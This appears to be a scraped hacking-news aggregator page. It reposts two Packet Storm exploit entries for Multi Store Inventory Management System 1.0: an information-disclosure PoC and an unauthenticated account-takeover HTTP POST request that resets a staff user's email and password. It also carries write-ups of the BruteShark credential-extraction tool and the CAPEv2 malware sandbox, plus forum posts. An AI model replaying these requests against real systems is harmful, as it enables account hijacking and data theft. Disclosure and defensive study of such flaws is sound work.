Exploit Collector
Multi Store Inventory Management System 1.0 Information Disclosure

https://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png
Multi Store Inventory Management System version 1.0 suffers from an information disclosure vulnerability.

MD5 | b1b49898bd3509d4292368fede14dc54

Download
# Exploit Title: Multi Store Inventory Management System - Information Disclosure
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.bdtask.com/
# Software Link: https://www.campcodes.com/projects/php/complete-multi-store-inventory-management-system-in-php-mysql/
# Version: 1.0
# Tested on: XAMPP, Windows 10
# Contact: https://twitter.com/dmaral3noz

# Description :

The application allows directory listing and information disclosure of
some sensitive files that can allow an attacker to leverage the disclosed
information.
################################################

PoC Html :
Multi Store Inventory Management System - Information Disclosure

src=http://127.0.0.1/multistore_demo/install/sql/install.sql>

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Multi Store Inventory Management System 1.0 Account Takeover

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
Multi Store Inventory Management System version 1.0 suffers from an account takeover vulnerability due to missing authorization controls.

MD5 | e6feb7f442646bfe2e6bd718321e6b7a

Download
# Exploit Title: Multi Store Inventory Management System - Account Takeover (Unauthenticated)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.bdtask.com/
# Software Link: https://www.campcodes.com/projects/php/complete-multi-store-inventory-management-system-in-php-mysql/
# Version: 1.0
# Tested on: XAMPP, Windows 10
# Contact: https://twitter.com/dmaral3noz

# Description :

An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "email", "password" , "firstname" and "lastname" parameters
#Steps to Reproduce :

1. Send the below POST request by changing "id", "email", "password" parameters.

2. Log in to the user account by changed email and password.
################################################
POST /multistore_demo/dashboard/home/setting HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------246162487211952414471071914687
Content-Length: 1645
Origin: http://localhost
Connection: close
Referer: http://localhost/multistore_demo/dashboard/home/setting
Cookie: ci_session=31504fa8fdcd43505beff1b210056ec12d5d8405
Upgrade-Insecure-Requests: 1

-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="id"

1
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="firstname"

saud
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="lastname"

test
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="email"

s3od@hi.com
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="password"

admin123
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="about"
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="old_image"
-----------------------------246162487211952414471071914687
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream
-----------------------------246162487211952414471071914687--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How to Prepare for Cyber Threats During the Russian Invasion of Ukraine

Remain calm, maintain control, and triage responses appropriately to ensure that the organization can remain resilient against threats during this crisis and through others to come.

Dark Reading: Attacks/Breaches
FIN7 Morphs into a Broader, More Dangerous Cybercrime Group

Mandiant has now tied the group to at least eight unattributed clusters of activity targeting organizations across various industries and regions.

Dark Reading: Attacks/Breaches
What We Can Learn From Lapsus$ Techniques

The group is targeting the biggest weak spot in most security postures: finding anomalous behavior by authorized entities.

Kali Linux Tutorials
BruteShark : Network Analysis Tool

BruteShark is a Network Forensic Analysis Tool (NFAT) that performs deep processing and inspection of network traffic (mainly PCAP files, but it also capable of directly live capturing from a network interface). It includes: password extracting, building a network map, reconstruct TCP sessions, extract hashes of encrypted passwords and even convert them to a Hashcat format in order to perform an offline Brute Force attack.

The main goal of the project is to provide solution to security researchers and network administrators with the task of network traffic analysis while they try to identify weaknesses that can be used by a potential attacker to gain access to critical points on the network.

Two BruteShark versions are available, A GUI based application (Windows) and a Command Line Interface tool (Windows and Linux).
The various projects in the solution can also be used independently as infrastructure for analyzing network traffic on Linux or Windows machines. For further details see the Architecture section.

The project was developed in my spare time to address two main passions of mine: software architecture and analyzing network data.

I love to get feedbacks from BruteShark users, your opinion is important to me! Feel free to contact me on contact.oded.shimon@gmail.com or create new issue.

Please https://s.w.org/images/core/emoji/13.1.0/72x72/2b50.png this repository if this project helped you! Also, if you’re feeling generous, you can buy me a coffe What it can do* Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP…)
* Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest…)
* Build visual network diagram (Network nodes, Open Ports, Domain Users)
* Extract DNS queries
* Reconstruct all TCP & UDP Sessions
* File Carving
* Extract Voip calls (SIP, RTP) DownloadWindows* Prerequisites:
* Npcap driver (Wireshark installs one of this by default)
* .NET Core Runtime (Note that you have to install the proper runtime regard to your needs, that means .NET Core Desktop Runtime for BruteSharkDesktop and .NET Core Runtime for BruteSharkCli).

* For desktop version download BruteSharkDesktop Windows Installer (64 Bit).
* For CLI version download BruteSharkCli Windows 10 Executable. Linux* Prerequisites: libpcap driver
* Download BruteSharkCli and just run it

wget https://github.com/odedshimon/BruteShark/releases/latest/download/BruteSharkCli
./BruteSharkCli ExamplesVideosBuilding a network map
https://user-images.githubusercontent.com/18364847/131922221-5714f351-85f7-4490-bec9-8da4339b66b3.mp4
BruteSharkCli Usage Example – Extract Multiple Passwords and Hashes (also available at youtube)
https://user-images.githubusercontent.com/18364847/131924013-8b2aa18b-0941-456e-a09d-799902554166.mp4 Hashes Extractinghttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiklJjT9POPSqn7-Q6TGK2KfZujNh52K0s1vgfXTDru3UC82CXonmzeEY3FGHixc4Zk5hT6wKuHCsCQj2VYvLdraw8tGsDcA60PxeGa3K-l2_y2nu8Sg4NjtlGOmVPg_VEfmoQx_ome8jtrM_zG9lUqa2QQAhBFO9lCXgA1niECzs-3JxhzsCEqql_T/s1364/1.png
Usage

In general, it is recommended load, run and explore the results.
Example PCAP files containing scenarios that demonstrates all BruteShark capabilities can be downloaded from here.
Note that analyzing network traffic is an operation that consumes time and resources, so it is recommended to select only the required modules when large files are loaded.
Particular attention should be paid to the “Build TCP Sessions” / “Build UDP Sessions” options. BruteSharkDesktopThe GUI is pretty self-explanatory, just load the wanted files, configure the wanted modules and press the run button. BruteSharkCliBruteSharkCli is the CLI version of BruteShark for Linux & Windows users. It has all the features of BruteSharkDesktop and designed to operate f[...]

___________________________
@hacking_Attack
@Hacking_Video

rom a shell. As a classic CLI tool it works by getting all the relevant parameters for the processing and then printing the results to stdout or files.

Print the help menu:

BruteSharkCli –help

Get credentials from all files in a directory (passwords and hashes will be printed to stdout):

BruteSharkCli -m Credentials -d “C:\Users\King\Desktop\Pcap Files”

Get credentials from all files in a directory and also export extracted hashes (if found) to Hashcat input files.

BruteSharkCli -m Credentials -d C:\Users\King\Desktop\Pcap_Examples -o C:\Users\King\Desktop\Results

Run multiple modules on all files in a directory and also export all the results.

BruteSharkCli -m Credentials,NetworkMap,FileExtracting -d C:\Users\King\Desktop\Pcap_Examples -o C:\Users\King\Desktop\Results

Sniff an interface named “Wi-Fi”, run multiple modules and also export all the results to a directory (the results will be exported only when stopping the sniffer by hitting CTRL + C).

BruteSharkCli -l Wi-Fi -m Credentials,NetworkMap,FileExtracting,DNS -o C:\Users\King\Desktop\Test Export ModulesBruteShark is a modular tool, designed for expansion. Credentials ModuleThis module is responsible for extracting and encoding usernames and passwords as well as authentication hashes. In fact this module is responsible for updating two display tables, passwords table and hashes table. While usernames and passwords are straight forward to use, hashes most often used in more complex attacks like pass-the-hash or by brute-forcing them to get the password. BruteShark is integrated with Hashcat so all the hashes extracted can be converted to a Hashcat input file.
ProtocolHash TypeHascat Mode (-m)HTTPHTTP-Digest11400SMTP\IMAPCRAM-MD516400NTLM (e.g. SMB)NTLMv15500NTLM (e.g. SMB)NTLMv25600KerberosAS-REQ etype 237500KerberosAS-REP etype 2318200KerberosTGS-REP etype 2313100Kerberos (AES128)TGS-REP etype 1719600Kerberos (AES256)TGS-REP etype 1819700 Network Map ModuleThis module is responsible for building the network map by identifying components in the network and the connections between them. The network map can be exported to two JSON files, one file contains all the connections in the network and one contains all the endpoints and the related information about them (like open ports, DNS mappings etc.). Those files can be used for analysis with external tools such as Neo4j.

This module tries to extract files from UDP / TCP sessions (Therefore, note that in order for this module to be effective, the “Build TCP Sessions” / “Build UDP Sessions” should be turn on). Currently this module supports classic forensics techniques of file carving by “Header-Footer” algorithm which is effective for files with known file header and footer like JPG, PNG, PDF. Voip Calls ModuleThis module extracts Voip calls from SIP & RTP protocols. The extracted calls can be exported as raw audio files and can be played using a proper audio player (like Audacity) ArchitectureAll BruteShark projects are implemented using .Net Coreand .Net Standardfor modern and cross platform support. The solution is designed with three layer architecture, including a one or more projects at each layer – DAL, BLL and PL. The separation between layers is created by the fact that each project refers only its own objects. PcapProcessor (DAL)As the Data Access Layer, this project is responsible for reading raw PCAP files using appropriate drivers (WinPcap, libpcap) and the amazing wrapper library SharpPcap by Chris Morgan. Can analyze a list of files at once, and provides additional features like reconstruction of all TCP Sessions (using the awesome project TcpRecon). PcapAnalyzer (BLL)The Business Logic Layer, responsible for analyzing network information (packet, TCP Session etc.), implements a pluggable mechanism. Each plugin is basically a class that implements the interface IModule. All plugins are loaded using reflection:

private void _initilyzeModulesList()
{[...]

___________________________
@hacking_Attack
@Hacking_Video

// Create an instance for any available modules by looking for every class that
// implements IModule.
this._modules = AppDomain.CurrentDomain.GetAssemblies()
.SelectMany(s => s.GetTypes())
.Where(p => typeof(IModule).IsAssignableFrom(p) && !p.IsInterface)
.Select(t => (IModule)Activator.CreateInstance(t))
.ToList();
// Register to each module event.
foreach(var m in _modules)
{
m.ParsedItemDetected += (s, e) => this.ParsedItemDetected(s, e);
} BruteSharkDesktop (PL)Desktop application for Windows based on WinForms. Uses a cross-cutting project by the meaning it referrers both the DAL and BLL layers. This is done by composing each of the layers, register to their events, when event is triggered, cast the event object to the next layer equivalent object, and send it to next layer.

public MainForm()
{
InitializeComponent();
_files = new HashSet();
// Create the DAL and BLL objects.
_processor = new PcapProcessor.Processor();
_analyzer = new PcapAnalyzer.Analyzer();
_processor.BuildTcpSessions = true;
// Create the user controls.
_networkMapUserControl = new NetworkMapUserControl();
_networkMapUserControl.Dock = DockStyle.Fill;
_sessionsExplorerUserControl = new SessionsExplorerUserControl();
_sessionsExplorerUserControl.Dock = DockStyle.Fill;
_hashesUserControl = new HashesUserControl();
_hashesUserControl.Dock = DockStyle.Fill;
_passwordsUserControl = new GenericTableUserControl();
_passwordsUserControl.Dock = DockStyle.Fill;
// Contract the events.
_processor.TcpPacketArived += (s, e) => _analyzer.Analyze(Casting.CastProcessorTcpPacketToAnalyzerTcpPacket(e.Packet));
_processor.TcpSessionArived += (s, e) => _analyzer.Analyze(Casting.CastProcessorTcpSessionToAnalyzerTcpSession(e.TcpSession));
_processor.FileProcessingStarted += (s, e) => SwitchToMainThreadContext(() => OnFileProcessStart(s, e));
_processor.FileProcessingEnded += (s, e) => SwitchToMainThreadContext(() => OnFileProcessEnd(s, e));
_processor.ProcessingPrecentsChanged += (s, e) => SwitchToMainThreadContext(() => OnProcessingPrecentsChanged(s, e));
_analyzer.ParsedItemDetected += (s, e) => SwitchToMainThreadContext(() => OnParsedItemDetected(s, e));
_processor.TcpSessionArived += (s, e) => SwitchToMainThreadContext(() => OnSessionArived(Casting.CastProcessorTcpSessionToBruteSharkDesktopTcpSession(e.TcpSession)));
_processor.ProcessingFinished += (s, e) => SwitchToMainThreadContext(() => OnProcessingFinished(s, e));
InitilizeFilesIconsList();
this.modulesTreeView.ExpandAll();
} Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
CAPEv2 : Malware Configuration And Payload Extraction

CAPEv2 is a malware sandbox. It was derived from Cuckoo with the goal of adding automated malware unpacking and config extraction – hence its name is an acronym: ‘Config And Payload Extraction’. Automated unpacking allows classification based on Yara signatures to complement network (Suricata) and behavior (API) signatures.

There is a free community instance online which anyone can use:

https://capesandbox.com

Although config and payload extraction was the original stated goal, it was the development of the debugger in CAPE which first inspired the project: in order to extract configs or unpacked payloads from arbitrary malware families without relying on process dumps (which sooner or later the bad guys will thwart), instruction-level monitoring and control is necessary. The novel debugger in CAPE follows the principle of maximising use of processor hardware and minimising (almost completely) use of Windows debugging interfaces, allowing malware to be stealthily instrumented and manipulated from the entry point with hardware breakpoints programmatically set during detonation by Yara signatures or API calls. This allows instruction traces to be captured, or actions to be performed such as control flow manipulation or dumping of a memory region.

The debugger has allowed CAPE to continue to evolve beyond its original capabilities, which now include dynamic anti-evasion bypasses. Since modern malware commonly tries to evade analysis within sandboxes, for example by using timing traps for virtualisation or API hook detection, CAPE allows dynamic countermeasures to be developed combining debugger actions within Yara signatures to detect evasive malware as it detonates, and perform control-flow manipulation to force the sample to detonate fully or skip evasive actions. The list of dynamic bypasses in CAPE is growing but includes:

* Guloader
* Ursnif
* Dridex
* Zloader
* Formbook
* BuerLoader
* Pafish

CAPE takes advantage of many malware techniques or behaviours to allow for unpacked payload capture:

* Process injection
* Shellcode injection
* DLL injection
* Process Hollowing
* Process Doppelganging

* Decompression of executable modules in memory
* Extraction of executable modules or shellcode in memory

These behaviours will result in the capture of payloads being injected, extracted or decompressed for further analysis. In addition CAPE automatically creates a process dump for each process, or, in the case of a DLL, the DLL’s module image in memory. This is useful for samples packed with simple packers, where often the module image dump is fully unpacked.

Quick access to the debugger is made possible with the breakpoint options ‘bp0’ through ‘bp3’ accepting RVA or VA values to set breakpoints, whereupon a short instruction trace will be output, governed by ‘count’ and ‘depth’ options (e.g. bp0=0x1234,depth=1,count=100). To set a breakpoint at the module entry point, ‘ep’ is used instead of an address (e.g. bp0=ep). Alternatively ‘break-on-return’ allows for a breakpoint on the return address of a hooked API (e.g. break-on-return=NtGetContextThread). An optional ‘base-on-api’ parameter allows the image base for RVA breakpoints to be set by API call (e.g. base-on-api=NtReadFile,bp0=0x2345).

Options ‘action0’ – ‘action3’ allow actions to be performed when breakpoints are hit, such as dumping memory regions (e.g. action0=dumpebx) or changing the execution control flow (e.g. action1=skip). CAPE’s documentation contains further examples of such actions.

‘dump-on-api’ allows a module to be dumped when it calls a specific API function which can be specified in the web interface which can be useful for quickly unpacking/dumping novel samples (e.g. dump-on-api=DnsQuery_A).

CAPE also has an option ‘upx=1’ which can dynamically unpack samples that use ‘hacked’ (modified) UPX, very popular with malware autho[...]

___________________________
@hacking_Attack
@Hacking_Video

rs. These samples are run in CAPE’s debugger until their OEP (original entry point), whereupon they are dumped, fixed and their imports are automatically reconstructed, ready for analysis.

CAPE is constantly growing in malware family coverage, but has config parsers for the following examples:

* Emotet
* TrickBot
* QakBot
* Hancitor
* Ursnif
* Dridex
* SmokeLoader
* IcedID
* RedLeaf
* ChChes
* HttpBrowser
* Enfal
* PoisonIvy
* Screech
* TSCookie

CAPE uses Yara signatures as its principal classification method to detect unpacked payloads. This list is constantly growing, and includes:

* Azorult, Formbook, Ryuk, Hermes, Shade, Remcos, Ramnit, Gootkit, QtBot, ZeroT, WanaCry, NetTraveler, Locky, BadRabbit, Magniber, Redsip, Kronos, PetrWrap, Kovter, Azer, Petya, Dreambot, Atlas, NanoLocker, Mole, Codoso, Cryptoshield, Loki, Jaff, IcedID, Scarab, Cutlet, RokRat, OlympicDestroyer, Gandcrab, Fareit, ZeusPanda, AgentTesla, Imminent, Arkei, Sorgu, tRat, T5000, TClient, TreasureHunter.

There is a community repository of signatures containing several hundred signatures developed by the CAPE community: https://github.com/kevoreilly/community

Config parsing can be done using either of CAPE’s config parsing frameworks, the RATDecoders framework from malwareconfig.com and DC3-MWCP (Defense Cyber Crime Center – Malware Configuration Parser). The many parsers/decoders from malwareconfig.com are also included, comprising among many others: Sakula, DarkComet, PredatorPain and PoisonIvy. Thanks to Kevin Breen/TechAnarchy for this framework and parsers (https://github.com/kevthehermit/RATDecoders), and to DC3 for their framework (https://github.com/Defense-Cyber-Crime-Center/DC3-MWCP). Special thanks to Jason Reaves (@sysopfb) for the TrickBot parser and Fabien Perigaud for the PlugX parser.

The repository containing the code for the monitor DLLs is a distinct one: https://github.com/kevoreilly/capemon.

Please contribute to this project by helping create new signatures, parsers or bypasses for further malware families. There are many in the works currently, so watch this space. CAPEv2! – To not miss any important update keep an eye on: changelogA huge thank you to @D00m3dR4v3n for single-handedly porting CAPE to Python 3.

* Python3
* agent.py is tested with python (3.7.2|3.8) x86. You should use x86 python version inside of the VM!
* host tested with python3 version 3.7 and 3.8, but newer versions should works too Installation recommendations and scripts for optimal performance1. Become familiar with documentation for proper configuration
2. For best compability we strongly suggest installing on Ubuntu 20.04 LTS
3. KVM is recommended as hypervisor, replace to real pattern

* sudo ./kvm-qemu.sh all 1. To install CAPE itself, cape2.sh with all optimizations
* sudo ./cape2.sh base cape | tee cape.log* CAPE Services
* cape.service
* cape-processor.service
* cape-web.service
* cape-rooter.service
* To restart any service use systemctl restart * To debug any problem, stop service and run the command that runs service by hand to see more logs, check -h, debug mode (-d) can help.
* Only rooter should be executed as root, the rest as cape user.
* Running as root will mess with permissions

2. Reboot and enjoy

* All scripts contain help -h, but please check the scripts to understand what they are doing. How to create virtual machine with #virt-managerThis will be a quick post about how to easy and quickly creates virtual machine with fixed some ANTIVMs

-1. You can connect to remote server via local virt-manager on your desktop

* Press File -> New connection-> select checkbox ssh and specify user and server.
* Or directly from command line:

virt-manager -c “qemu+ssh://YOUR_USER@YOUR_SERVER/system”

* You need to ensure that this user can connect to libvirtd and add your ssh[...]

___________________________
@hacking_Attack
@Hacking_Video

pub key to that user .ssh/authorized_keys).
* usermod -G libvirt -a Connection details -> “press +” -> set your network range and select Isolated

* Press the icon under File

* Select iso or any other way to install it, we will use ISO for this tutorial

* Specify path to ISO

* Set ram memory and number of CPUs for the vm

* Create a specific hdd for vm, see Select or create custom storage, press Manage, see next screens

* Set vm name, size > 100GB and format qcow2

* Select new created image and press Choose Volume

* Select Customize configuration before install, to be able to apply antivms and press finish

*
* VM detailed configuration, in Overview select XML and follow instruction from this blogpost for antivm. IMPORTANT: use i44fx for <=

* Inside of the CPU type disable Copy host CPU configuration if is server cpu as XEON, and send one that you like, this is tricky part, if you selected cpu type that isn’t compatible(cpu features) with your server cpu, your vm can be slow, so here you will need to play on your own, but think about real world cpu types NOT:

* Set the Performance option as on this image

* Networking, fake your MAC address and I strongly recommend to use hostonly instead of NAT

* Press Apply, than Being Installation and do your OS install

* To take snapshot: Press last icon you can see it selected like screen with play inside, then + at the bottom, set your snapshot name and press finish Virtual machine core dependecy* choco.bat How to update* CAPE: git pull* community: python3 utils/community.py -wafsee -hbefore to ensure you understand How to upgrade with a lot of custom small modifications that can’t be public?With rebasegit add –all
git commit -m ‘[STASH]’
git pull –rebase origin master
fix conflict (rebase) if needed
git reset HEAD~1

With merge

make sure kevoreilly repo has been added as a remote (only needs to be done once)
git remote add kevoreilly https://github.com/kevoreilly/CAPEv2.git
make sure all your changes are commited on the branch which you will be merging
git commit -a -m ”
fetch changes from kevoreilly repo
git fetch kevoreilly
merge kevoreilly master branch into your current branch
git merge kevoreilly/master
fix merge conflicts if needed
push to your repo if desired
git push Download

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Layer 2s and the Issue with Compromised Bridges

https://cdn-images-1.medium.com/max/2500/1*bfbkOWNKi4JOaoPtCiqwHQ.jpeg
It seems like every other week the crypto economy is getting hit with record breaking attacks. With the most recent Ronin Network hack, I…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
O que são Cybercriminals?

https://cdn-images-1.medium.com/max/729/1*hu5uZuDITulQ38nASdgxeg.png
Os cibercriminosos são atores de ameaça que estão motivados a ganhar dinheiro usando todos os meios necessários. Embora às vezes os…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Top anonymous operating systems!

https://cdn-images-1.medium.com/max/650/1*CXkZA2Nmn0RgOdZfsybFuw.jpeg
1. Tails (https://tails.boum.org/install/) is a Debian-based Linux distribution designed for privacy and anonymity and sponsored by the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Advice on what to study next

Hello! I am a student of computer science, about to finish the degree in two months.

​

My intention has always been to study cybersecurity, but I do not know how to proceed from here. I have programming and scripting knowledge, also some about DB, cryptography, networking, basic linux, some cybersecurity basis as types of attacks, countermeasures, risks...

​

So, I was thinking of getting a little experience working on networking field next year WHILE I study and prepare for the OSCP exam. I do not know much about this exam, but has heard a lot that it prepares you very well and gives you a lot of knowledge about the topic, specially if you want to be a pentester. After that year, I will study a master on cybersecurity.

​

Any advice/recommendations, do you think my action plan is a good one? My idea to take the OSCP before the master is to get the higest possible mark on the last.

​

Really hope you could give me your insight, thanks beforehand!

submitted by /u/pirry99
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
ISPs and modified source addresses

I'm for quite a while now researching topic about raw packets and forging source IP address in UDP header. On my PC I started UDP listener and VM to send packets with source modified, and it worked flawlessly. I tried similar setup but with my server and port forwarding to my PC. I was surprised how much the results wear different, when I tried sending from server to my home nothing arrived until I changed IP to correct one. When I was sending from my home to my server whatever I did resulted in real IP being shown. This got me thinking, how hackers are able to perform amplification attacks in which modifying source IP is crucial. I read about it and learned that the ISPs perform filtering to block malicious traffic that has tempered with it source header, shouldn't it make botnets nearly useless? Because victim probably uses ISP which blocks that fraudulent traffic.

*Botnets attacking targets using amplification attacks

submitted by /u/Zduniusz
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hi everyone, my school is gonna put Intune on our macbooks, and I want to know if there is a way to block the configuration profile from controlling our computers. or to delete it

We own our laptops, but the school wants to have control over them even if we are not at school. The app literally allows them to block any website, install and uninstall any app, and to track us. I'm gonna see in my school contract if I have to comply with this install, but if I don't, I want to delete it. Does anyone have an idea?

submitted by /u/SomeNerd54
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video